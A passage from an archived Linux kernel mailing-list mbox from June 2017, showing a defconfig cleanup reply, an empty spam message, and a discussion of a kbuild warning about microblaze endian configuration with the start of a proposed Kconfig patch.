	BJg2RnGb5KkHudLUsQtPau+LhnqZAU2Gw+Tk93urg5zMjBSrywivXxqUlITDcrA831Q94jvxZhDsg
	DCvJI/DJWxZTKwESQ2vBJv3+4aFTTu7Siq1y9Pfmdoe1sqg3lN1J8mVbqVJ6xUxB5zY2ooFc2RaD2
	7ddcIVbbdiHb5wi4LDKw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dKM48-0000Wj-1g; Mon, 12 Jun 2017 09:55:20 +0000
Original-Received: from mail-ot0-x243.google.com ([2607:f8b0:4003:c0f::243])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dKM41-0007hq-6B; Mon, 12 Jun 2017 09:55:18 +0000
Original-Received: by mail-ot0-x243.google.com with SMTP id k4so10555665otd.0;
 Mon, 12 Jun 2017 02:54:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=5UD3gm0jnS4PGM3GtYlJtJw697j54IOqC5FYpDahZCM=;
 b=CI1xk7y/avGUkC4KtVI5MFor5K46ZCeEQCiY5IoPxbVNDYuyCjMahUmchP8+pFBVQg
 BPV75isr8030AyboHjNoz61/WiIw8i1Mfst6is4XbAz6r+my0K4VExPN8GliMm7x8G8s
 Wtt39B4gVkweXsRgop3a2PItVTt+E0Euf+pWejf7AlYheD3q0r+GpJGx1DECcxgPY+n5
 VpVTyc+zuf50s/bgEg6Cfm020aHfwx049vsStyeByCTq5OS9CyH5XV3d8VquWuD4eiYd
 zCsJL0yIVYa65hL/HTvNWIquj1y7C0nUziemlJjJITkaJ+7wjsVkaftUXMtOQ7GU7dB5
 gd9g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=5UD3gm0jnS4PGM3GtYlJtJw697j54IOqC5FYpDahZCM=;
 b=eVyIPkPaTSteTm3v/p1w20JA+cFFpBkwen5rt0elCg6JdfV7h44z21vBY+mhiF3y34
 YXyXEW9gDGx8yPu7szHIYHri2Mk0GMGT6T4SacDmr64AKBsEJFj/Njk4tV5bVgPZTj3Y
 Nertif7U6LEkPRr1yAj6Q1yc4SjpGPagdLGIQG2qpKqNC8vM5OmpIeHuXr+TmhrT08Md
 p0bBefapO6tpkxI18Xa30sftd3vC1Er+7U/hfyaVcZ83+qIdRC/Z020lalADuiSOmEhl
 nPTAawNYk8jNotdfyRqxXA/vbW+/HbGjgU6gsIz7HtLmHm6DGLAZvGcyl+bsGvbbLSgu
 XmYA==
X-Gm-Message-State: AODbwcAXwhQlrVaV80ZqUyoDbraDyZhaACzJKIaTTOVZ4zNKesmyzZXp
 lO0HWX75KgAgUswe12NPoXLFYGVUjg==
X-Received: by 10.157.16.110 with SMTP id o43mr29434285oto.71.1497261291773;
 Mon, 12 Jun 2017 02:54:51 -0700 (PDT)
Original-Received: by 10.157.51.139 with HTTP; Mon, 12 Jun 2017 02:54:51 -0700 (PDT)
In-Reply-To: <20170610164351.7sxzvj4ojj3fbc7h@kozik-lap>
X-Google-Sender-Auth: HPJDK_g4Qj08aIFbujAvzrIT1jo
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170612_025513_293023_E890FFF6 
X-CRM114-Status: GOOD (  16.31  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2515 gmane.linux.ports.mips.general:59606 gmane.linux.ports.sparc:25509 gmane.linux.ports.hexagon:1271 gmane.linux.ports.sh.devel:55486 gmane.linux.kernel.samsung-soc:60830 gmane.linux.uml.devel:16400 gmane.linux.ports.alpha:4245 gmane.linux.uml.user:15322 gmane.linux.ports.arm.omap:144013 gmane.linux.ports.arm.kernel:584157 gmane.linux.ports.parisc:27500 gmane.linux.ports.ppc64.devel:143218 gmane.linux.kernel:2497924
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2515>

On Sat, Jun 10, 2017 at 6:43 PM, Krzysztof Kozlowski <krzk@kernel.org> wrote:
> On Fri, Jun 09, 2017 at 09:59:48PM +0200, Arnd Bergmann wrote:
>> On Thu, Jun 8, 2017 at 6:08 PM, Krzysztof Kozlowski <krzk@kernel.org> wrote:
>> > Hi,
>> >
>> > While cleaning Samsung ARM defconfigs with savedefconfig, I encountered
>> > similar obsolete entries in other files.
>> >
>> > Except the ARM, no dependencies.
>> > For ARM, the rest of patches depend on the first change (otherwise
>> > it might not apply cleanly).
>>
>> Great work!
>>
>> I looked at all the ARM patches, and everything looks good to me (the
>> changlog linewrapping may be suboptimal for readability in some cases,
>> if I had to say anything negative ;-) ).
>>
>> Please add my Acked-by to the ARM patches and send a pull request.
>
> Thanks, I'll send you ARM part in pull request.

Ok

> As for the rest, I think respective arch/platform maintainers should
> take it.

I suspect most will apply the patches, but some architectures maintainers
are not very active. If you are motivated, you could resend the ones
that missed out to Andrew Morton, or you just leave the architectures
to bitrot more. ;-)

     Arnd

From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dave Dawes" <dmoore32@student.savannahstate.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: I Would love to discuse something with you.
Date: Mon, 12 Jun 2017 07:51:50 -0700
Lines: 6
Approved: news@gmane.org
Message-ID: <DM2PR0101MB1230F998DD9B8CB9081C79A283CD0__6182.51486816934$1497279143$gmane$org@DM2PR0101MB1230.prod.exchangelabs.com>
Reply-To: ddawes231@qq.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1497279143 670 195.159.176.226 (12 Jun 2017 14:52:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 14:52:23 +0000 (UTC)
To: Recipients <dmoore32@student.savannahstate.edu>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 12 16:52:14 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dKQhM-0007PI-2z
	for glpp-linux-parisc@m.gmane.org; Mon, 12 Jun 2017 16:52:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752716AbdFLOwM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 12 Jun 2017 10:52:12 -0400
Original-Received: from mail-bl2nam02hn0229.outbound.protection.outlook.com ([104.47.38.229]:17944
        "EHLO NAM02-BL2-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1752537AbdFLOwA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 12 Jun 2017 10:52:00 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=studentsavannahstateedu.onmicrosoft.com;
 s=selector1-student-savannahstate-edu;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=NQrejmmquZ0AtcchsGxUKGfpU+W9REop/Xqgr2O6TCA=;
 b=DF7TasNU4BG7fTDlIKZ+Yt1iy7CGRS2skufl4lilxPcFZBkprOJt1eVgut4RSVdHme3IP3cJwTvcWpc1q7vzgQjK3GQHuF48lJz2TktRDA9ni016+6sBoD81rduorcU+7vdD+RKmuY5B5tAyt8SUrL6WbnU2l2CZAcZM+8Lb2Cw=
Authentication-Results: meals-on-wheels-inc.org; dkim=none (message not
 signed) header.d=none;meals-on-wheels-inc.org; dmarc=none action=none
 header.from=student.savannahstate.edu;
Original-Received: from [172.93.98.62] (172.93.98.62) by
 DM2PR0101MB1230.prod.exchangelabs.com (2a01:111:e400:3c24::22) with Microsoft
 SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) id 15.1.1157.12; Mon, 12
 Jun 2017 14:51:42 +0000
Content-Description: Mail message body
X-Originating-IP: [172.93.98.62]
X-ClientProxiedBy: CY4PR15CA0022.namprd15.prod.outlook.com
 (2603:10b6:910:14::32) To DM2PR0101MB1230.prod.exchangelabs.com
 (2a01:111:e400:3c24::22)
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DM2PR0101MB1230:
X-MS-Office365-Filtering-Correlation-Id: 40bfc33c-4ddd-476d-3c13-08d4b1a28e43
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001)(201703131423075)(201703031133081);SRVR:DM2PR0101MB1230;
X-Microsoft-Exchange-Diagnostics: 1;DM2PR0101MB1230;3:M2bdqWx+6jzLgPxfgM/BewEJ8fB0c8DhTGVXDceytk7dVlaD2TzblwyxTw0kqCu+bmysbSqpi9Jq/N4ooOKu/Rvv7Srone03n1uLDvZNb3l+V4mxnNBbvFrumlHPxygiHDfurblV7JIo8n3xTzGF65y+7G1o4QjUt3hGycjTPqZap8XTwh1FdAmK/QeN4aBFzqSuj3kko8tVtskAdbOMjnPQKWUvru86k7qHOG3t6zzbgOyw8wgOMATgrev9qjcxYI6mb+MGWY+96ItEpOEulqqzDYsARvYWmyKecog1QgN1IaJTzt2y1ksLwSIdCnatkEuXmmgw096VIXCboxuo7Q==;25:9U4/490dX+ds96d/QTyRy714/0fDiwST+ydlxktMyQVzmW68D5HuHGZE4vPJzU2GPD7oWX3hwbtekoS8p0upkOcWeT3RiX+OllsVQbd8keXADAO7MBCN5MePVUKIdYjKX0phzd5JpfFM6WtG+yIn50iHReJpILKEdgu8RkKU0mbxVJP058Q5cPZ2lTYb8wSDDofugU1TdiUzBVZXStX7DmrSKkZNAsE2wxumzYDaQnNZ8eqlcTqubIyJKEQbVaHSbzoDmMLMgbF562ax2tlN8LYz01BLsADH7ycEmmADf8UmnAZlN+6KnpsDkQCGPxhVepjFycXkdi33ZzCwL0pd0rQ9s1+AZzVk2TJCT6etrwLwgVbdUmRC5JAFYny6XJB/;31:4NioVgys/y
 C+68FcI+uFTMkvD3dn5YtKUMmVBOhJI9V3+xdxO2Z0lMNLfysTXx7ha8EpYxj7L1zrghOsD/psQw5NhjFXaDN2aj2NVTDN8kOu 
X-Microsoft-Exchange-Diagnostics: 1;DM2PR0101MB1230;20:G3AqLIaNHLenzRUaemirzBWkvsWRME8DcCf6KtuZX87r//wQV9EJZBPCwBD8TaJeHl2oChKUNv7oeaF8Etzo4cPvxJT4p5qf+0D2Qa/Z91glGghKQGsu7B8CH7fnU6fStE/Mu/DHvdphlUNo0wwGuyByQ9NowQ5NvfW2PTy1GM8NvdHL/FX7dJodNZ8ciegURTNHKkp9KfDXoV/CP1ToNOXOvY8HgCUjnI6gTSMmxAxziXRAQSBNLvSH/GzLQDQI8ev/hd+ug2TzF2yS3DdD6gVyP4Y3sIMIq7TDXYGYSh68/tGRq4WFGZDy0kg0uMc6q1eRfBGbM1zcqTM1R9nvuQc8NCP/82x+1iZrItQdXY+9gBUB/DXga8+JqXbbdpA+66i1V6KEWb8PjodTuI4gG414Qxdj5vKkk2nrUVZWRzTAUTC6BM0ZU3AWP60KCV7flaTIk6W83TTUXELKG3LT4U5lpPI6LIqCto62+fNtw08OA9jVm7/M08tAFFQH52hB
X-Microsoft-Antispam-PRVS: <DM2PR0101MB1230FC34AD202614C2FE0AA683CD0@DM2PR0101MB1230.prod.exchangelabs.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(100000700101)(100105000095)(100000701101)(100105300095)(100000702101)(100105100095)(6040450)(2401047)(8121501046)(5005006)(100000703101)(100105400095)(10201501046)(3002001)(93006095)(93001095)(6041248)(20161123562025)(20161123558100)(20161123555025)(20161123560025)(20161123564025)(201703131423075)(201702281529075)(201702281528075)(201703061421075)(201703061406153)(6072148)(100000704101)(100105200095)(100000705101)(100105500095);SRVR:DM2PR0101MB1230;BCL:0;PCL:0;RULEID:(100000800101)(100110000095)(100000801101)(100110300095)(100000802101)(100110100095)(100000803101)(100110400095)(100000804101)(100110200095)(100000805101)(100110500095);SRVR:DM2PR0101MB1230;
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;DM2PR0101MB1230;4:KS+s6F4Ly2O1cQETAYWHp7HPrb2Yukv/kRoZmU?=
 =?iso-8859-1?Q?oRYdu3rchzoYlAgwk9oaVANJ3/w77yc9v4KE/FpBt4hIhkd2LorPHVk58C?=
 =?iso-8859-1?Q?zdib8/7QzHSFBFoJXoexiemdrz/BFefxzoSsE53XDwtO2mcnae+VdsUkAy?=
 =?iso-8859-1?Q?jQzqZrybNuvs05qkvSY1WgoG56Dl/O9OB3TxwfIiapne0ybFycjAJiHcjq?=
 =?iso-8859-1?Q?Mi3nCngLNjfCBNDJZ8+36Q4RiWQzFMwnDwZg+eFVPEjp73mHtqw7Bq6HIn?=
 =?iso-8859-1?Q?kuTToNhDvGU11QO/b2h9UYI0tlz/fnYcnsADlQU0eW2I57u642bXgV2KdT?=
 =?iso-8859-1?Q?oJ2MZH+Jj4TF55q1CS/Zjtd9ClRnph6FcQhBMF8NiFPWxxDrI26SgigoGS?=
 =?iso-8859-1?Q?5hVQb309+zbd8xFBNDLuQKaAHUbqn8RaWV6CSmSq6Aa/p8O+3ChtKApzjO?=
 =?iso-8859-1?Q?++mSOQfGxM41E1rAmY3Ci0qOaipx1oi/ekQ4hUz7ClprPLGx/A5xxSI1q4?=
 =?iso-8859-1?Q?C5xWa4OLO/w8d/xlegAx5qPYDx0Y0kkPrUzk3grcvH939Q8FMviX6VeAWu?=
 =?iso-8859-1?Q?gpKstTzsx3NCI2PgRGkj9TQU2R6BoYM+kHpgZOWJZ6SDWCQ9J0LSgkwEDa?=
 =?iso-8859-1?Q?OY/8 
X-Forefront-PRVS: 03361FCC43
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10009020)(4630300001)(6009001)(6049001)(39450400003)(39410400002)(39400400002)(39840400002)(39850400002)(3846002)(23756003)(8666007)(6116002)(54356999)(50466002)(50986999)(47776003)(73894003)(42186005)(478600001)(42882006)(53256004)(2171002)(110136004)(25786009)(250100001)(621065002)(8656002)(86362001)(38730400002)(6666003)(6200100001)(7736002)(75432002)(6486002)(53936002)(66066001)(8746002)(6862004)(49976008)(74316002)(43066003)(81166006)(7416002)(2860700002)(7366002)(7276002)(8676002)(33656002)(2906002)(9686003)(73186002)(88552002)(305945005)(7406005)(7336002)(4270600005)(62346012);DIR:OUT;SFP:1501;SCL:5;SRVR:DM2PR0101MB1230;H:[172.93.98.62];FPR:;SPF:None;MLV:spm;PTR:InfoNoRecords;LANG:en;
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;DM2PR0101MB1230;23:mFbrnOqBVaP4x2dQeEHtbGWK9wW+sf/OpGIg+?=
 =?iso-8859-1?Q?xMdUwDDJOKGkrLfKxFCi1FfiGtYA52jfYow3BBjjFjaR+uidTDPwc+MgJO?=
 =?iso-8859-1?Q?JtiRCCknnkFQU1zkDryzK9etlFNUdgqZUvpD3Sp8nfg5RqV7PL8xJEJtUe?=
 =?iso-8859-1?Q?qJ3jxk/9fhRzOdSLrdXoZbLWWD3Av0mQq/p/mvfFfQTh3DNKJO9WuGeHqW?=
 =?iso-8859-1?Q?TqieaviA7NzonVq5zN1rzayVkMyeWlEwLvChezq12irhp0Fqe0/XJCgoQs?=
 =?iso-8859-1?Q?bQc32wWur1TnvkxhAQ96RpShNXlgp9UHAGUkj/H+qH+uZ1i/2Z44GRagih?=
 =?iso-8859-1?Q?tkBrPt/zWAqwMMP02R3KruRUta7EQ39lpFMOAaxlwqHpmvvGGk8bmMuKrb?=
 =?iso-8859-1?Q?Hdrj7tf1gy5jA2NBLv2AhY1+eWxn1gBl1ggRIH8E8aux54r47PzDLHFtGW?=
 =?iso-8859-1?Q?CApMQozxOsWgXYTZPoem09LFLdV32k2jtbXcHz1o25oR6pIB840+oC/zEo?=
 =?iso-8859-1?Q?mPtyC8PovJfvwdVC4bwtsOiO888JAGw/34JZQoVKIH8lzKDsM/rO4fx4sR?=
 =?iso-8859-1?Q?I7gEsiby2PMeS3GXPhAYJMIhVzhjimTjBkl7Am1bowb57/m52dTeam5oju?=
 =?iso-8859-1?Q?QFmk 
X-Microsoft-Exchange-Diagnostics: 1;DM2PR0101MB1230;6:cgk1Wa3u8fLYvfSV1Cmhen4Rqosw972Z3f4XWnYvqzvdp/7x53GnsreGxslOxkzXONsI0IMKtDcllY2LS5hkTKyh/+Gy+jQNClWNx3F7F3dmVuVif075gvYtnYJXSi2mNwySBOm4zrrpNALMx5YSkhFHS+uChuuQhMrGJSYe2644lvZe9Qb+stE7P78VMdvc4GDY+IVP6xaDQJnRY66dkncXKobEsehp929FK4d5qN1sMJd5ByQeenBmAiT0SH5dvjU6iK8GamxkWq5KL47ZMV3/8d0sJEEvNY0nHXlKkhnZZ3ooHKwop3VnHctVSgUJAuYh1DVwEVC2BNtEu/kxiR9UJAdyESl3OCYakFGEfATBGBGCE4IqfJ/hH97wdvfFzbhipQ6cEwxGHWKcfd/tcJR9zqhLc6T7332DtNHAWsI=;5:QbHSftuykXTeM7GoIlqf5SFXf7H8aftweFUUhLhIrJVAjGiZGQ1giJCQqQw0BSpIuljImsYrPBGCzfZKVoC3HvtBweNeYQ5XIuboIzXdsx5XdGavLR1/f3n/ELuOjYpIibiPNudD8CYUOomXwFyJf9IV1XomkcZm5mwCYCjXHj8b+WQSx5QrUpcraTl+2ZuHyU+INBuwFICO+fMup4izJE6VvTPWhCKhtplC3A8Ogjb04LQCWk3vAvB9LJcoDxJA6lqpkGG9QS6/7oLNxmRFeHmQHfmxzDT9GHydN6AxMduZigd6bh1qg6q+lEZ
 mC2cFdKwMhFZlxkMCXo1NoVIzSDBZqJs9MzVwSsFPh44T3Y0aqSJCFeysklD/bCzOhU729Gmu5PRqjTdC3idhw5rs6I93kIF0G 
X-Microsoft-Exchange-Diagnostics: 1;DM2PR0101MB1230;24:hbM1wEcWZe1rdjyT2Dg+403NO/sqDNjM7DK+ddyM38Zz5JDIQi9EllMo1wNK55qUkcxVWXEoPHMbNpr+Mfgxng==;7:jbv3pdjUWwB9hGgGtbLzG9ODrBP9u4js2p0zd2IF/JuNsiD/qHPZGoHDExmuJ/off1t5ltb8foTnc86vI74U7zawkScrEoYngmNmYq5nV1FMDjQVS2ICToMVs6vv7ezCMVYICBOqFqQPnL6hrn0r8eDwMOQG43+YMhyHKnEp0zRRBbAMMpdXl/TjhE+CeY/6B1jH6nMbsjoYqOKRiIYXuwY4P1u3SkShMXOBp6lHKHyqDojTicNJljErLcZrgOq4aIw7P24eXIHmHH3MK/JXMOTykJd+8OVqKzU3hvRl+m9stjG2sVoVtm2IFGn+CcQJuD7zpnK7yWz8Cxl03Azr8A==
SpamDiagnosticOutput: 1:22
X-OriginatorOrg: student.savannahstate.edu
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 12 Jun 2017 14:51:42.4264
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM2PR0101MB1230
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27501>

=20
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.sparc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config
 definition
Date: Mon, 12 Jun 2017 15:30:08 -0500
Organization: Oracle Corporation
Lines: 122
Approved: news@gmane.org
Message-ID: <002f7627-1ce5-eabb-967d-fe93a3660f03@oracle.com>
References: <201706102219.7auwXKYx%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497299526 3708 195.159.176.226 (12 Jun 2017 20:32:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Jun 2017 20:32:06 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: kbuild-all@01.org, ysato@users.sourceforge.jp,
        geert@linux-m68k.org, jonas@southpole.se,
        stefan.kristiansson@saunalahti.fi, shorne@gmail.com,
        jejb@parisc-linux.org, deller@gmx.de, davem@davemloft.net,
        viro@zeniv.linux.org.uk, mpe@ellerman.id.au, peterz@infradead.org,
        mingo@redhat.com, jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org, monstr@monstr.eu
To: kbuild test robot <lkp@intel.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 12 22:32:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dKW0F-0000c7-Ie
	for glpp-linux-parisc@m.gmane.org; Mon, 12 Jun 2017 22:32:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752513AbdFLUcE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 12 Jun 2017 16:32:04 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:46290 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752065AbdFLUcD (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 12 Jun 2017 16:32:03 -0400
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v5CKUOEW008988
        (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Mon, 12 Jun 2017 20:30:27 GMT
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
        by aserv0021.oracle.com (8.13.8/8.14.4) with ESMTP id v5CKUM7S021168
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Mon, 12 Jun 2017 20:30:23 GMT
Original-Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10])
        by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v5CKUD54030109;
        Mon, 12 Jun 2017 20:30:13 GMT
Original-Received: from [10.135.190.130] (/10.135.190.130)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Mon, 12 Jun 2017 13:30:13 -0700
In-Reply-To: <201706102219.7auwXKYx%fengguang.wu@intel.com>
Content-Language: en-US
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27502 gmane.linux.kernel:2498770 gmane.linux.ports.m68k:9377 gmane.linux.ports.sparc:25527
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27502>

Hi All,

On 6/10/2017 9:06 AM, kbuild test robot wrote:
> Hi Babu,
>
> [auto build test WARNING on linus/master]
> [also build test WARNING on v4.12-rc4 next-20170609]
> [if your patch is applied to the wrong git tree, please drop us a note to help improve the system]
>
> url:    https://github.com/0day-ci/linux/commits/Babu-Moger/Define-CPU_BIG_ENDIAN-or-warn-for-inconsistencies/20170610-200424
> config: microblaze-mmu_defconfig (attached as .config)
> compiler: microblaze-linux-gcc (GCC) 6.2.0
> reproduce:
>          wget https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
>          chmod +x ~/bin/make.cross
>          # save the attached .config to linux build tree
>          make.cross ARCH=microblaze
>
> All warnings (new ones prefixed by >>):
>
>     In file included from arch/microblaze/include/uapi/asm/byteorder.h:7:0,
>                      from include/asm-generic/bitops/le.h:5,
>                      from include/asm-generic/bitops.h:34,
>                      from arch/microblaze/include/asm/bitops.h:1,
>                      from include/linux/bitops.h:36,
>                      from include/linux/kernel.h:10,
>                      from include/asm-generic/bug.h:15,
>                      from arch/microblaze/include/asm/bug.h:1,
>                      from include/linux/bug.h:4,
>                      from include/linux/page-flags.h:9,
>                      from kernel/bounds.c:9:
>>> include/linux/byteorder/big_endian.h:7:2: warning: #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN [-Wcpp]
>      #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
>       ^~~~~~~
> --
>     In file included from arch/microblaze/include/uapi/asm/byteorder.h:7:0,
>                      from include/asm-generic/bitops/le.h:5,
>                      from include/asm-generic/bitops.h:34,
>                      from arch/microblaze/include/asm/bitops.h:1,
>                      from include/linux/bitops.h:36,
>                      from include/linux/kernel.h:10,
>                      from include/asm-generic/bug.h:15,
>                      from arch/microblaze/include/asm/bug.h:1,
>                      from include/linux/bug.h:4,
>                      from include/linux/page-flags.h:9,
>                      from kernel/bounds.c:9:
>>> include/linux/byteorder/big_endian.h:7:2: warning: #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN [-Wcpp]
>      #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
>       ^~~~~~~
>     In file included from arch/microblaze/include/uapi/asm/byteorder.h:7:0,
>                      from include/asm-generic/bitops/le.h:5,
>                      from include/asm-generic/bitops.h:34,
>                      from arch/microblaze/include/asm/bitops.h:1,
>                      from include/linux/bitops.h:36,
>                      from include/linux/kernel.h:10,
>                      from include/linux/list.h:8,
>                      from include/linux/rculist.h:9,
>                      from include/linux/pid.h:4,
>                      from include/linux/sched.h:13,
>                      from arch/microblaze/kernel/asm-offsets.c:13:
>>> include/linux/byteorder/big_endian.h:7:2: warning: #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN [-Wcpp]
>      #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
>       ^~~~~~~
>     <stdin>:1326:2: warning: #warning syscall statx not implemented [-Wcpp]
>
> vim +7 include/linux/byteorder/big_endian.h
>
>       1	#ifndef _LINUX_BYTEORDER_BIG_ENDIAN_H
>       2	#define _LINUX_BYTEORDER_BIG_ENDIAN_H
>       3	
>       4	#include <uapi/linux/byteorder/big_endian.h>
>       5	
>       6	#ifndef CONFIG_CPU_BIG_ENDIAN
>     > 7	#warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
>       8	#endif
>       9	
>      10	#include <linux/byteorder/generic.h>
>      11	#endif /* _LINUX_BYTEORDER_BIG_ENDIAN_H */
>
> ---
> 0-DAY kernel test infrastructure                Open Source Technology Center
> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

Looks like microblaze can be configured to either little or big endian 
formats.  How about
adding a choice statement to address this.
Here is my proposed patch.
=======================================
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 85885a5..74aa5de 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -35,6 +35,22 @@ config MICROBLAZE
         select VIRT_TO_BUS
         select CPU_NO_EFFICIENT_FFS

+# Endianness selection
+choice
+       prompt "Endianness selection"
+       default CPU_BIG_ENDIAN
+       help
+         microblaze architectures can be configured for either little or
+         big endian formats. Be sure to select the appropriate mode.
+
+config CPU_BIG_ENDIAN
+       bool "Big endian"
+
+config CPU_LITTLE_ENDIAN
